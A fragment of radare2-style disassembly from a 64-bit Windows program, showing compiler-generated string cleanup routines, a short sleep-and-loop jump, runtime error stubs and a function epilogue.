jb 0x14001c597
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c768
call fcn.14001e2dc
mov qword [rbp + 0x178], r12
mov qword [rbp + 0x180], 0xf
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14001c5f7
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c5f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c76f
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x14001c639
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c633
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c776
call fcn.14001e2dc
nop
test r15b, r15b
je 0x14001c670
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14001c667
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c77d
mov rcx, rsi
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x160]
cmp rdx, 0x10
jb 0x14001c6b1
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c6ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c784
call fcn.14001e2dc
mov qword [rbp + 0x158], r12
mov qword [rbp + 0x160], 0xf
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0x10
jb 0x14001c70b
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c706
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c78b
call fcn.14001e2dc
lea r15, [0x14002b088]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001b4f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rbp + 0x298]
xor rcx, rsp
call fcn.14001e280
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.1400011e0
int3